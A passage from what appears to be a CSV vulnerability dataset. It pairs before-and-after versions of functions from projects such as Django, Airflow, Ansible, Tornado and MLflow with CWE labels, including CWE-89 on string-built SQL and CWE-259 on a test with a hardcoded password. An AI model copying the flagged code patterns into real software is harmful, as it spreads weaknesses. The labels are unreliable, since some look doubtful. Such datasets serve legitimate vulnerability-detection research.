        if targetUrls:
            sessName = [ urlParser.getDomain(x) for x in targetUrls ]
            sessName = '-'.join(sessName)
        else:
            sessName = 'noTarget'

        cf.cf.save('sessionName', sessName + '-' + time.strftime('%Y-%b-%d_%H-%M') )
        
        # Advanced target selection
        os = optionsMap['targetOS'].getValueStr()
        if os.lower() in self._operatingSystems:
            cf.cf.save('targetOS', os.lower() )
        else:
            raise w3afException('Unknown target operating system: ' + os)
        
        pf = optionsMap['targetFramework'].getValueStr()
        if pf.lower() in self._programmingFrameworks:
            cf.cf.save('targetFramework', pf.lower() )
        else:
            raise w3afException('Unknown target programming framework: ' + pf)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/operators/hive_operator.py,0,"def __init__(
            self, hql,
            hive_cli_conn_id='hive_cli_default',
            schema='default',
            hiveconf_jinja_translate=False,
            script_begin_tag=None,
            run_as_owner=False,
            *args, **kwargs):

        super(HiveOperator, self).__init__(*args, **kwargs)
        self.hiveconf_jinja_translate = hiveconf_jinja_translate
        self.hql = hql
        self.schema = schema
        self.hive_cli_conn_id = hive_cli_conn_id
        self.script_begin_tag = script_begin_tag
        self.run_as = None
        if run_as_owner:
            self.run_as = self.dag.owner",CWE-Unknown,apache/airflow,ca7f239698fdddfb705db3d86d3a5145da1a2e30,"def __init__(
            self, hql,
            hive_cli_conn_id='hive_cli_default',
            schema='default',
            hiveconf_jinja_translate=False,
            script_begin_tag=None,
            *args, **kwargs):

        super(HiveOperator, self).__init__(*args, **kwargs)
        self.hiveconf_jinja_translate = hiveconf_jinja_translate
        self.hql = hql
        self.schema = schema
        self.hive_cli_conn_id = hive_cli_conn_id
        self.script_begin_tag = script_begin_tag"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/schema.py,1,"def _remake_table(self, model, create_field=None, delete_field=None, alter_field=None):
        """"""
        Shortcut to transform a model from old_model into new_model

        The essential steps are:
          1. rename the model's existing table, e.g. ""app_model"" to ""app_model__old""
          2. create a table with the updated definition called ""app_model""
          3. copy the data from the old renamed table to the new table
          4. delete the ""app_model__old"" table
        """"""
        # Self-referential fields must be recreated rather than copied from
        # the old model to ensure their remote_field.field_name doesn't refer
        # to an altered field.
        def is_self_referential(f):
            return f.is_relation and f.remote_field.model is model
        # Work out the new fields dict / mapping
        body = {
            f.name: f.clone() if is_self_referential(f) else f
            for f in model._meta.local_concrete_fields
        }
        # Since mapping might mix column names and default values,
        # its values must be already quoted.
        mapping = {f.column: self.quote_name(f.column) for f in model._meta.local_concrete_fields}
        # This maps field names (not columns) for things like unique_together
        rename_mapping = {}
        # If any of the new or altered fields is introducing a new PK,
        # remove the old one
        restore_pk_field = None
        if getattr(create_field, 'primary_key', False) or (
                alter_field and getattr(alter_field[1], 'primary_key', False)):
            for name, field in list(body.items()):
                if field.primary_key:
                    field.primary_key = False
                    restore_pk_field = field
                    if field.auto_created:
                        del body[name]
                        del mapping[field.column]
        # Add in any created fields
        if create_field:
            body[create_field.name] = create_field
            # Choose a default and insert it into the copy map
            if not create_field.many_to_many and create_field.concrete:
                mapping[create_field.column] = self.quote_value(
                    self.effective_default(create_field)
                )
        # Add in any altered fields
        if alter_field:
            old_field, new_field = alter_field
            body.pop(old_field.name, None)
            mapping.pop(old_field.column, None)
            body[new_field.name] = new_field
            if old_field.null and not new_field.null:
                case_sql = ""coalesce(%(col)s, %(default)s)"" % {
                    'col': self.quote_name(old_field.column),
                    'default': self.quote_value(self.effective_default(new_field))
                }
                mapping[new_field.column] = case_sql
            else:
                mapping[new_field.column] = self.quote_name(old_field.column)
            rename_mapping[old_field.name] = new_field.name
        # Remove any deleted fields
        if delete_field:
            del body[delete_field.name]
            del mapping[delete_field.column]
            # Remove any implicit M2M tables
            if delete_field.many_to_many and delete_field.remote_field.through._meta.auto_created:
                return self.delete_model(delete_field.remote_field.through)
        # Work inside a new app registry
        apps = Apps()

        # Provide isolated instances of the fields to the new model body so
        # that the existing model's internals aren't interfered with when
        # the dummy model is constructed.
        body = copy.deepcopy(body)

        # Work out the new value of unique_together, taking renames into
        # account
        unique_together = [
            [rename_mapping.get(n, n) for n in unique]
            for unique in model._meta.unique_together
        ]

        # Work out the new value for index_together, taking renames into
        # account
        index_together = [
            [rename_mapping.get(n, n) for n in index]
            for index in model._meta.index_together
        ]

        indexes = model._meta.indexes
        if delete_field:
            indexes = [
                index for index in indexes
                if delete_field.name not in index.fields
            ]

        # Construct a new model for the new state
        meta_contents = {
            'app_label': model._meta.app_label,
            'db_table': model._meta.db_table,
            'unique_together': unique_together,
            'index_together': index_together,
            'indexes': indexes,
            'apps': apps,
        }
        meta = type(""Meta"", tuple(), meta_contents)
        body['Meta'] = meta
        body['__module__'] = model.__module__

        temp_model = type(model._meta.object_name, model.__bases__, body)

        # We need to modify model._meta.db_table, but everything explodes
        # if the change isn't reversed before the end of this method. This
        # context manager helps us avoid that situation.
        @contextlib.contextmanager
        def altered_table_name(model, temporary_table_name):
            original_table_name = model._meta.db_table
            model._meta.db_table = temporary_table_name
            yield
            model._meta.db_table = original_table_name

        with altered_table_name(model, model._meta.db_table + ""__old""):
            # Rename the old table to make way for the new
            self.alter_db_table(model, temp_model._meta.db_table, model._meta.db_table)

            # Create a new table with the updated schema. We remove things
            # from the deferred SQL that match our table name, too
            self.deferred_sql = [x for x in self.deferred_sql if temp_model._meta.db_table not in x]
            self.create_model(temp_model)

            # Copy data from the old table into the new table
            field_maps = list(mapping.items())
            self.execute(""INSERT INTO %s (%s) SELECT %s FROM %s"" % (
                self.quote_name(temp_model._meta.db_table),
                ', '.join(self.quote_name(x) for x, y in field_maps),
                ', '.join(y for x, y in field_maps),
                self.quote_name(model._meta.db_table),
            ))

            # Delete the old table
            self.delete_model(model, handle_autom2m=False)

        # Run deferred SQL on correct table
        for sql in self.deferred_sql:
            self.execute(sql)
        self.deferred_sql = []
        # Fix any PK-removed field
        if restore_pk_field:
            restore_pk_field.primary_key = True",CWE-89,django/django,6a8372e6ec42eb50e05f9dbcb26b783237bdc233,"def _remake_table(self, model, create_field=None, delete_field=None, alter_field=None):
        """"""
        Shortcut to transform a model from old_model into new_model

        The essential steps are:
          1. rename the model's existing table, e.g. ""app_model"" to ""app_model__old""
          2. create a table with the updated definition called ""app_model""
          3. copy the data from the old renamed table to the new table
          4. delete the ""app_model__old"" table
        """"""
        # Self-referential fields must be recreated rather than copied from
        # the old model to ensure their remote_field.field_name doesn't refer
        # to an altered field.
        def is_self_referential(f):
            return f.is_relation and f.remote_field.model is model
        # Work out the new fields dict / mapping
        body = {
            f.name: f.clone() if is_self_referential(f) else f
            for f in model._meta.local_concrete_fields
        }
        # Since mapping might mix column names and default values,
        # its values must be already quoted.
        mapping = {f.column: self.quote_name(f.column) for f in model._meta.local_concrete_fields}
        # This maps field names (not columns) for things like unique_together
        rename_mapping = {}
        # If any of the new or altered fields is introducing a new PK,
        # remove the old one
        restore_pk_field = None
        if getattr(create_field, 'primary_key', False) or (
                alter_field and getattr(alter_field[1], 'primary_key', False)):
            for name, field in list(body.items()):
                if field.primary_key:
                    field.primary_key = False
                    restore_pk_field = field
                    if field.auto_created:
                        del body[name]
                        del mapping[field.column]
        # Add in any created fields
        if create_field:
            body[create_field.name] = create_field
            # Choose a default and insert it into the copy map
            if not create_field.many_to_many and create_field.concrete:
                mapping[create_field.column] = self.quote_value(
                    self.effective_default(create_field)
                )
        # Add in any altered fields
        if alter_field:
            old_field, new_field = alter_field
            body.pop(old_field.name, None)
            mapping.pop(old_field.column, None)
            body[new_field.name] = new_field
            if old_field.null and not new_field.null:
                case_sql = ""coalesce(%(col)s, %(default)s)"" % {
                    'col': self.quote_name(old_field.column),
                    'default': self.quote_value(self.effective_default(new_field))
                }
                mapping[new_field.column] = case_sql
            else:
                mapping[new_field.column] = self.quote_name(old_field.column)
            rename_mapping[old_field.name] = new_field.name
        # Remove any deleted fields
        if delete_field:
            del body[delete_field.name]
            del mapping[delete_field.column]
            # Remove any implicit M2M tables
            if delete_field.many_to_many and delete_field.remote_field.through._meta.auto_created:
                return self.delete_model(delete_field.remote_field.through)
        # Work inside a new app registry
        apps = Apps()

        # Provide isolated instances of the fields to the new model body so
        # that the existing model's internals aren't interfered with when
        # the dummy model is constructed.
        body = copy.deepcopy(body)

        # Work out the new value of unique_together, taking renames into
        # account
        unique_together = [
            [rename_mapping.get(n, n) for n in unique]
            for unique in model._meta.unique_together
        ]

        # Work out the new value for index_together, taking renames into
        # account
        index_together = [
            [rename_mapping.get(n, n) for n in index]
            for index in model._meta.index_together
        ]

        # Construct a new model for the new state
        meta_contents = {
            'app_label': model._meta.app_label,
            'db_table': model._meta.db_table,
            'unique_together': unique_together,
            'index_together': index_together,
            'apps': apps,
        }
        meta = type(""Meta"", tuple(), meta_contents)
        body['Meta'] = meta
        body['__module__'] = model.__module__

        temp_model = type(model._meta.object_name, model.__bases__, body)

        # We need to modify model._meta.db_table, but everything explodes
        # if the change isn't reversed before the end of this method. This
        # context manager helps us avoid that situation.
        @contextlib.contextmanager
        def altered_table_name(model, temporary_table_name):
            original_table_name = model._meta.db_table
            model._meta.db_table = temporary_table_name
            yield
            model._meta.db_table = original_table_name

        with altered_table_name(model, model._meta.db_table + ""__old""):
            # Rename the old table to make way for the new
            self.alter_db_table(model, temp_model._meta.db_table, model._meta.db_table)

            # Create a new table with the updated schema. We remove things
            # from the deferred SQL that match our table name, too
            self.deferred_sql = [x for x in self.deferred_sql if temp_model._meta.db_table not in x]
            self.create_model(temp_model)

            # Copy data from the old table into the new table
            field_maps = list(mapping.items())
            self.execute(""INSERT INTO %s (%s) SELECT %s FROM %s"" % (
                self.quote_name(temp_model._meta.db_table),
                ', '.join(self.quote_name(x) for x, y in field_maps),
                ', '.join(y for x, y in field_maps),
                self.quote_name(model._meta.db_table),
            ))

            # Delete the old table
            self.delete_model(model, handle_autom2m=False)

        # Run deferred SQL on correct table
        for sql in self.deferred_sql:
            self.execute(sql)
        self.deferred_sql = []
        # Fix any PK-removed field
        if restore_pk_field:
            restore_pk_field.primary_key = True"
,UNKNOWN,UNKNOWN,test/units/modules/network/nso/test_nso_verify.py,1,"def test_nso_verify_ok(self, open_url_mock):
        devices_schema = nso_module.load_fixture('devices_schema.json')
        device_schema = nso_module.load_fixture('device_schema.json')

        calls = [
            MockResponse('login', {}, 200, '{}', {'set-cookie': 'id'}),
            MockResponse('get_system_setting', {'operation': 'version'}, 200, '{""result"": ""4.5.0""}'),
            MockResponse('get_module_prefix_map', {}, 200, '{""result"": {""tailf-ncs"": ""ncs""}}'),
            MockResponse('new_trans', {'mode': 'read'}, 200, '{""result"": {""th"": 1}}'),
            MockResponse('get_schema', {'path': '/ncs:devices'}, 200, '{""result"": %s}' % (json.dumps(devices_schema, ))),
            MockResponse('get_schema', {'path': '/ncs:devices/device'}, 200, '{""result"": %s}' % (json.dumps(device_schema, ))),
            MockResponse('exists', {'path': '/ncs:devices/device{ce0}'}, 200, '{""result"": {""exists"": true}}'),
            MockResponse('get_value', {'path': '/ncs:devices/device{ce0}/description'}, 200, '{""result"": {""value"": ""Example Device""}}'),
            MockResponse('logout', {}, 200, '{""result"": {}}'),
        ]
        open_url_mock.side_effect = lambda *args, **kwargs: nso_module.mock_call(calls, *args, **kwargs)

        data = nso_module.load_fixture('verify_violation_data.json')
        set_module_args({
            'username': 'user', 'password': 'password',
            'url': 'http://localhost:8080/jsonrpc', 'data': data,
            'validate_certs': False
        })
        self.execute_module(changed=False)

        self.assertEqual(0, len(calls))",CWE-259,ansible/ansible,1f7ffe26195dbc9191a292465f80d1a2388ce408,"def test_nso_verify_ok(self, open_url_mock):
        devices_schema = nso_module.load_fixture('devices_schema.json')
        device_schema = nso_module.load_fixture('device_schema.json')

        calls = [
            MockResponse('login', {}, 200, '{}', {'set-cookie': 'id'}),
            MockResponse('get_system_setting', {'operation': 'version'}, 200, '{""result"": ""4.5.0""}'),
            MockResponse('get_module_prefix_map', {}, 200, '{""result"": {""tailf-ncs"": ""ncs""}}'),
            MockResponse('new_trans', {'mode': 'read'}, 200, '{""result"": {""th"": 1}}'),
            MockResponse('get_schema', {'path': '/ncs:devices'}, 200, '{""result"": %s}' % (json.dumps(devices_schema, ))),
            MockResponse('get_schema', {'path': '/ncs:devices/device'}, 200, '{""result"": %s}' % (json.dumps(device_schema, ))),
            MockResponse('exists', {'path': '/ncs:devices/device{ce0}'}, 200, '{""result"": {""exists"": true}}'),
            MockResponse('get_value', {'path': '/ncs:devices/device{ce0}/description'}, 200, '{""result"": {""value"": ""Example Device""}}'),
            MockResponse('logout', {}, 200, '{""result"": {}}'),
        ]
        open_url_mock.side_effect = lambda *args, **kwargs: nso_module.mock_call(calls, *args, **kwargs)

        data = nso_module.load_fixture('verify_violation_data.json')
        set_module_args({
            'username': 'user', 'password': 'password',
            'url': 'http://localhost:8080/jsonrpc', 'data': data
        })
        self.execute_module(changed=False)

        self.assertEqual(0, len(calls))"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/gen.py,0,"def with_timeout(timeout, future, quiet_exceptions=()):
    """"""Wraps a `.Future` (or other yieldable object) in a timeout.

    Raises `tornado.util.TimeoutError` if the input future does not
    complete before ``timeout``, which may be specified in any form
    allowed by `.IOLoop.add_timeout` (i.e. a `datetime.timedelta` or
    an absolute time relative to `.IOLoop.time`)

    If the wrapped `.Future` fails after it has timed out, the exception
    will be logged unless it is of a type contained in ``quiet_exceptions``
    (which may be an exception type or a sequence of types).

    Does not support `YieldPoint` subclasses.

    .. versionadded:: 4.0

    .. versionchanged:: 4.1
       Added the ``quiet_exceptions`` argument and the logging of unhandled
       exceptions.

    .. versionchanged:: 4.4
       Added support for yieldable objects other than `.Future`.
    """"""
    # TODO: allow YieldPoints in addition to other yieldables?
    # Tricky to do with stack_context semantics.
    #
    # It's tempting to optimize this by cancelling the input future on timeout
    # instead of creating a new one, but A) we can't know if we are the only
    # one waiting on the input future, so cancelling it might disrupt other
    # callers and B) concurrent futures can only be cancelled while they are
    # in the queue, so cancellation cannot reliably bound our waiting time.
    future = convert_yielded(future)
    result = _create_future()
    chain_future(future, result)
    io_loop = IOLoop.current()

    def error_callback(future):
        try:
            future.result()
        except Exception as e:
            if not isinstance(e, quiet_exceptions):
                app_log.error(""Exception in Future %r after timeout"",
                              future, exc_info=True)

    def timeout_callback():
        if not result.done():
            result.set_exception(TimeoutError(""Timeout""))
        # In case the wrapped future goes on to fail, log it.
        future_add_done_callback(future, error_callback)
    timeout_handle = io_loop.add_timeout(
        timeout, timeout_callback)
    if isinstance(future, Future):
        # We know this future will resolve on the IOLoop, so we don't
        # need the extra thread-safety of IOLoop.add_future (and we also
        # don't care about StackContext here.
        future_add_done_callback(
            future, lambda future: io_loop.remove_timeout(timeout_handle))
    else:
        # concurrent.futures.Futures may resolve on any thread, so we
        # need to route them back to the IOLoop.
        io_loop.add_future(
            future, lambda future: io_loop.remove_timeout(timeout_handle))
    return result",CWE-Unknown,tornadoweb/tornado,0a1565aba237d7a611d1e7dd6d5e47a2b166f21d,"def with_timeout(timeout, future, quiet_exceptions=()):
    """"""Wraps a `.Future` (or other yieldable object) in a timeout.

    Raises `tornado.util.TimeoutError` if the input future does not
    complete before ``timeout``, which may be specified in any form
    allowed by `.IOLoop.add_timeout` (i.e. a `datetime.timedelta` or
    an absolute time relative to `.IOLoop.time`)

    If the wrapped `.Future` fails after it has timed out, the exception
    will be logged unless it is of a type contained in ``quiet_exceptions``
    (which may be an exception type or a sequence of types).

    Does not support `YieldPoint` subclasses.

    .. versionadded:: 4.0

    .. versionchanged:: 4.1
       Added the ``quiet_exceptions`` argument and the logging of unhandled
       exceptions.

    .. versionchanged:: 4.4
       Added support for yieldable objects other than `.Future`.
    """"""
    # TODO: allow YieldPoints in addition to other yieldables?
    # Tricky to do with stack_context semantics.
    #
    # It's tempting to optimize this by cancelling the input future on timeout
    # instead of creating a new one, but A) we can't know if we are the only
    # one waiting on the input future, so cancelling it might disrupt other
    # callers and B) concurrent futures can only be cancelled while they are
    # in the queue, so cancellation cannot reliably bound our waiting time.
    future = convert_yielded(future)
    result = _create_future()
    chain_future(future, result)
    io_loop = IOLoop.current()

    def error_callback(future):
        try:
            future.result()
        except Exception as e:
            if not isinstance(e, quiet_exceptions):
                app_log.error(""Exception in Future %r after timeout"",
                              future, exc_info=True)

    def timeout_callback():
        if not result.done():
            result.set_exception(TimeoutError(""Timeout""))
        # In case the wrapped future goes on to fail, log it.
        future_add_done_callback(future, error_callback)
    timeout_handle = io_loop.add_timeout(
        timeout, timeout_callback)
    if isinstance(future, Future):
        # We know this future will resolve on the IOLoop, so we don't
        # need the extra thread-safety of IOLoop.add_future (and we also
        # don't care about StackContext here.
        future_add_done_callback(future,
            lambda future: io_loop.remove_timeout(timeout_handle))
    else:
        # concurrent.futures.Futures may resolve on any thread, so we
        # need to route them back to the IOLoop.
        io_loop.add_future(
            future, lambda future: io_loop.remove_timeout(timeout_handle))
    return result"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/test_bandit_baseline.py,0,"def test_main_no_parent_commit(self):
        # Test that bandit exits when there is no parent commit detected when
        # calling main
        repo_directory = self.useFixture(fixtures.TempDir()).path

        git_repo = git.Repo.init(repo_directory)
        git_repo.index.commit('Initial Commit')
        os.chdir(repo_directory)

        # assert the system exits with code 2
        self.assertRaisesRegex(SystemExit, '2', baseline.main)",UNKNOWN,PyCQA/bandit,7f9524e63ef38c73584c4032f87a1b24a04d1a60,"def test_main_no_parent_commit(self):
        # Test that bandit exits when there is no parent commit detected when
        # calling main
        repo_directory = self.useFixture(fixtures.TempDir()).path

        git_repo = git.Repo.init(repo_directory)
        git_repo.index.commit('Initial Commit')
        os.chdir(repo_directory)

        # assert the system exits with code 2
        self.assertRaisesRegex(SystemExit, '2', baseline.main)"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/auth_manager/test_aws_auth_manager.py,1,"def test_get_cli_commands_return_cli_commands(self, auth_manager):
        assert len(auth_manager.get_cli_commands()) > 0",CWE-703,apache/airflow,9a8490746238189ad19b4f8524d4501d06aacd6e,"def test_get_cli_commands_return_cli_commands(self, auth_manager):
        assert len(auth_manager.get_cli_commands()) > 0"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/fluent.py,0,"def start_run(
    run_id: Optional[str] = None,
    experiment_id: Optional[str] = None,
    run_name: Optional[str] = None,
    nested: bool = False,
    parent_run_id: Optional[str] = None,
    tags: Optional[Dict[str, Any]] = None,
    description: Optional[str] = None,
    log_system_metrics: Optional[bool] = None,
) -> ActiveRun:
    """"""
    Start a new MLflow run, setting it as the active run under which metrics and parameters
    will be logged. The return value can be used as a context manager within a ``with`` block;
    otherwise, you must call ``end_run()`` to terminate the current run.

    If you pass a ``run_id`` or the ``MLFLOW_RUN_ID`` environment variable is set,
    ``start_run`` attempts to resume a run with the specified run ID and
    other parameters are ignored. ``run_id`` takes precedence over ``MLFLOW_RUN_ID``.

    If resuming an existing run, the run status is set to ``RunStatus.RUNNING``.

    MLflow sets a variety of default tags on the run, as defined in
    :ref:`MLflow system tags <system_tags>`.

    Args:
        run_id: If specified, get the run with the specified UUID and log parameters
            and metrics under that run. The run's end time is unset and its status
            is set to running, but the run's other attributes (``source_version``,
            ``source_type``, etc.) are not changed.
        experiment_id: ID of the experiment under which to create the current run (applicable
            only when ``run_id`` is not specified). If ``experiment_id`` argument
            is unspecified, will look for valid experiment in the following order:
            activated using ``set_experiment``, ``MLFLOW_EXPERIMENT_NAME``
            environment variable, ``MLFLOW_EXPERIMENT_ID`` environment variable,
            or the default experiment as defined by the tracking server.
        run_name: Name of new run. Used only when ``run_id`` is unspecified. If a new run is
            created and ``run_name`` is not specified, a random name will be generated for the run.
        nested: Controls whether run is nested in parent run. ``True`` creates a nested run.
        parent_run_id: If specified, the current run will be nested under the the run with
            the specified UUID. The parent run must be in the ACTIVE state.
        tags: An optional dictionary of string keys and values to set as tags on the run.
            If a run is being resumed, these tags are set on the resumed run. If a new run is
            being created, these tags are set on the new run.
        description: An optional string that populates the description box of the run.
            If a run is being resumed, the description is set on the resumed run.
            If a new run is being created, the description is set on the new run.
        log_system_metrics: bool, defaults to None. If True, system metrics will be logged
            to MLflow, e.g., cpu/gpu utilization. If None, we will check environment variable
            `MLFLOW_ENABLE_SYSTEM_METRICS_LOGGING` to determine whether to log system metrics.
            System metrics logging is an experimental feature in MLflow 2.8 and subject to change.

    Returns:
        :py:class:`mlflow.ActiveRun` object that acts as a context manager wrapping the
        run's state.

    .. code-block:: python
        :test:
        :caption: Example

        import mlflow

        # Create nested runs
        experiment_id = mlflow.create_experiment(""experiment1"")
        with mlflow.start_run(
            run_name=""PARENT_RUN"",
            experiment_id=experiment_id,
            tags={""version"": ""v1"", ""priority"": ""P1""},
            description=""parent"",
        ) as parent_run:
            mlflow.log_param(""parent"", ""yes"")
            with mlflow.start_run(
                run_name=""CHILD_RUN"",
                experiment_id=experiment_id,
                description=""child"",
                nested=True,
            ) as child_run:
                mlflow.log_param(""child"", ""yes"")
        print(""parent run:"")
        print(f""run_id: {parent_run.info.run_id}"")
        print(""description: {}"".format(parent_run.data.tags.get(""mlflow.note.content"")))
        print(""version tag value: {}"".format(parent_run.data.tags.get(""version"")))
        print(""priority tag value: {}"".format(parent_run.data.tags.get(""priority"")))
        print(""--"")

        # Search all child runs with a parent id
        query = f""tags.mlflow.parentRunId = '{parent_run.info.run_id}'""
        results = mlflow.search_runs(experiment_ids=[experiment_id], filter_string=query)
        print(""child runs:"")
        print(results[[""run_id"", ""params.child"", ""tags.mlflow.runName""]])

        # Create a nested run under the existing parent run
        with mlflow.start_run(
            run_name=""NEW_CHILD_RUN"",
            experiment_id=experiment_id,
            description=""new child"",
            parent_run_id=parent_run.info.run_id,
        ) as child_run:
            mlflow.log_param(""new-child"", ""yes"")

    .. code-block:: text
        :caption: Output

        parent run:
        run_id: 8979459433a24a52ab3be87a229a9cdf
        description: starting a parent for experiment 7
        version tag value: v1
        priority tag value: P1
        --
        child runs:
                                     run_id params.child tags.mlflow.runName
        0  7d175204675e40328e46d9a6a5a7ee6a          yes           CHILD_RUN
    """"""
    global _active_run_stack
    _validate_experiment_id_type(experiment_id)
    # back compat for int experiment_id
    experiment_id = str(experiment_id) if isinstance(experiment_id, int) else experiment_id
    if len(_active_run_stack) > 0 and not nested:
        raise Exception(
            (
                ""Run with UUID {} is already active. To start a new run, first end the ""
                + ""current run with mlflow.end_run(). To start a nested ""
                + ""run, call start_run with nested=True""
            ).format(_active_run_stack[0].info.run_id)
        )
    client = MlflowClient()
    if run_id:
        existing_run_id = run_id
    elif run_id := MLFLOW_RUN_ID.get():
        existing_run_id = run_id
        del os.environ[MLFLOW_RUN_ID.name]
    else:
        existing_run_id = None
    if existing_run_id:
        _validate_run_id(existing_run_id)
        active_run_obj = client.get_run(existing_run_id)
        # Check to see if experiment_id from environment matches experiment_id from set_experiment()
        if (
            _active_experiment_id is not None
            and _active_experiment_id != active_run_obj.info.experiment_id
        ):
            raise MlflowException(
                f""Cannot start run with ID {existing_run_id} because active run ID ""
                ""does not match environment run ID. Make sure --experiment-name ""
                ""or --experiment-id matches experiment set with ""
                ""set_experiment(), or just use command-line arguments""
            )
        # Check if the current run has been deleted.
        if active_run_obj.info.lifecycle_stage == LifecycleStage.DELETED:
            raise MlflowException(
                f""Cannot start run with ID {existing_run_id} because it is in the deleted state.""
            )
        # Use previous `end_time` because a value is required for `update_run_info`.
        end_time = active_run_obj.info.end_time
        _get_store().update_run_info(
            existing_run_id, run_status=RunStatus.RUNNING, end_time=end_time, run_name=None
        )
        tags = tags or {}
        if description:
            if MLFLOW_RUN_NOTE in tags:
                raise MlflowException(
                    f""Description is already set via the tag {MLFLOW_RUN_NOTE} in tags.""
                    f""Remove the key {MLFLOW_RUN_NOTE} from the tags or omit the description."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
            tags[MLFLOW_RUN_NOTE] = description

        if tags:
            client.log_batch(
                run_id=existing_run_id,
                tags=[RunTag(key, str(value)) for key, value in tags.items()],
            )
        active_run_obj = client.get_run(existing_run_id)
    else:
        if parent_run_id:
            _validate_run_id(parent_run_id)
            # Make sure parent_run_id matches the current run id, if there is an active run
            if len(_active_run_stack) > 0 and parent_run_id != _active_run_stack[-1].info.run_id:
                current_run_id = _active_run_stack[-1].info.run_id
                raise MlflowException(
                    f""Current run with UUID {current_run_id} does not match the specified ""
                    f""parent_run_id {parent_run_id}. To start a new nested run under ""
                    f""the parent run with UUID {current_run_id}, first end the current run ""
                    ""with mlflow.end_run().""
                )
            parent_run_obj = client.get_run(parent_run_id)
            # Check if the specified parent_run has been deleted.
            if parent_run_obj.info.lifecycle_stage == LifecycleStage.DELETED:
                raise MlflowException(
                    f""Cannot start run under parent run with ID {parent_run_id} ""
                    f""because it is in the deleted state.""
                )
        else:
            parent_run_id = (
                _active_run_stack[-1].info.run_id if len(_active_run_stack) > 0 else None
            )

        exp_id_for_run = experiment_id if experiment_id is not None else _get_experiment_id()

        user_specified_tags = deepcopy(tags) or {}
        if description:
            if MLFLOW_RUN_NOTE in user_specified_tags:
                raise MlflowException(
                    f""Description is already set via the tag {MLFLOW_RUN_NOTE} in tags.""
                    f""Remove the key {MLFLOW_RUN_NOTE} from the tags or omit the description."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
            user_specified_tags[MLFLOW_RUN_NOTE] = description
        if parent_run_id is not None:
            user_specified_tags[MLFLOW_PARENT_RUN_ID] = parent_run_id
        if run_name:
            user_specified_tags[MLFLOW_RUN_NAME] = run_name

        resolved_tags = context_registry.resolve_tags(user_specified_tags)

        active_run_obj = client.create_run(
            experiment_id=exp_id_for_run,
            tags=resolved_tags,
            run_name=run_name,
        )

    if log_system_metrics is None:
        # If `log_system_metrics` is not specified, we will check environment variable.
        log_system_metrics = MLFLOW_ENABLE_SYSTEM_METRICS_LOGGING.get()

    if log_system_metrics:
        if importlib.util.find_spec(""psutil"") is None:
            raise MlflowException(
                ""Failed to start system metrics monitoring as package `psutil` is not installed. ""
                ""Please run `pip install psutil` to resolve the issue, otherwise you can disable ""
                ""system metrics logging by passing `log_system_metrics=False` to ""
                ""`mlflow.start_run()` or calling `mlflow.disable_system_metrics_logging`.""
            )
        try:
            from mlflow.system_metrics.system_metrics_monitor import SystemMetricsMonitor

            system_monitor = SystemMetricsMonitor(
                active_run_obj.info.run_id,
                resume_logging=existing_run_id is not None,
            )
            global run_id_to_system_metrics_monitor

            run_id_to_system_metrics_monitor[active_run_obj.info.run_id] = system_monitor
            system_monitor.start()
        except Exception as e:
            _logger.error(f""Failed to start system metrics monitoring: {e}."")

    _active_run_stack.append(ActiveRun(active_run_obj))
    return _active_run_stack[-1]",,mlflow/mlflow,582461a133995f27f48daf7dfd0007b661b4b9d0,"def start_run(
    run_id: Optional[str] = None,
    experiment_id: Optional[str] = None,
    run_name: Optional[str] = None,
    nested: bool = False,
    parent_run_id: Optional[str] = None,
    tags: Optional[Dict[str, Any]] = None,
    description: Optional[str] = None,
    log_system_metrics: Optional[bool] = None,
) -> ActiveRun:
    """"""
    Start a new MLflow run, setting it as the active run under which metrics and parameters
    will be logged. The return value can be used as a context manager within a ``with`` block;
    otherwise, you must call ``end_run()`` to terminate the current run.

    If you pass a ``run_id`` or the ``MLFLOW_RUN_ID`` environment variable is set,
    ``start_run`` attempts to resume a run with the specified run ID and
    other parameters are ignored. ``run_id`` takes precedence over ``MLFLOW_RUN_ID``.

    If resuming an existing run, the run status is set to ``RunStatus.RUNNING``.

    MLflow sets a variety of default tags on the run, as defined in
    :ref:`MLflow system tags <system_tags>`.

    Args:
        run_id: If specified, get the run with the specified UUID and log parameters
            and metrics under that run. The run's end time is unset and its status
            is set to running, but the run's other attributes (``source_version``,
            ``source_type``, etc.) are not changed.
        experiment_id: ID of the experiment under which to create the current run (applicable
            only when ``run_id`` is not specified). If ``experiment_id`` argument
            is unspecified, will look for valid experiment in the following order:
            activated using ``set_experiment``, ``MLFLOW_EXPERIMENT_NAME``
            environment variable, ``MLFLOW_EXPERIMENT_ID`` environment variable,
            or the default experiment as defined by the tracking server.
        run_name: Name of new run. Used only when ``run_id`` is unspecified. If a new run is
            created and ``run_name`` is not specified, a random name will be generated for the run.
        nested: Controls whether run is nested in parent run. ``True`` creates a nested run.
        parent_run_id: If specified, the current run will be nested under the the run with
            the specified UUID. The parent run must be in the ACTIVE state.
        tags: An optional dictionary of string keys and values to set as tags on the run.
            If a run is being resumed, these tags are set on the resumed run. If a new run is
            being created, these tags are set on the new run.
        description: An optional string that populates the description box of the run.
            If a run is being resumed, the description is set on the resumed run.
            If a new run is being created, the description is set on the new run.
        log_system_metrics: bool, defaults to None. If True, system metrics will be logged
            to MLflow, e.g., cpu/gpu utilization. If None, we will check environment variable
            `MLFLOW_ENABLE_SYSTEM_METRICS_LOGGING` to determine whether to log system metrics.
            System metrics logging is an experimental feature in MLflow 2.8 and subject to change.

    Returns:
        :py:class:`mlflow.ActiveRun` object that acts as a context manager wrapping the
        run's state.

    .. code-block:: python
        :test:
        :caption: Example

        import mlflow

        # Create nested runs
        experiment_id = mlflow.create_experiment(""experiment1"")
        with mlflow.start_run(
            run_name=""PARENT_RUN"",
            experiment_id=experiment_id,
            tags={""version"": ""v1"", ""priority"": ""P1""},
            description=""parent"",
        ) as parent_run:
            mlflow.log_param(""parent"", ""yes"")
            with mlflow.start_run(
                run_name=""CHILD_RUN"",
                experiment_id=experiment_id,
                description=""child"",
                nested=True,
            ) as child_run:
                mlflow.log_param(""child"", ""yes"")
        print(""parent run:"")
        print(f""run_id: {parent_run.info.run_id}"")
        print(""description: {}"".format(parent_run.data.tags.get(""mlflow.note.content"")))
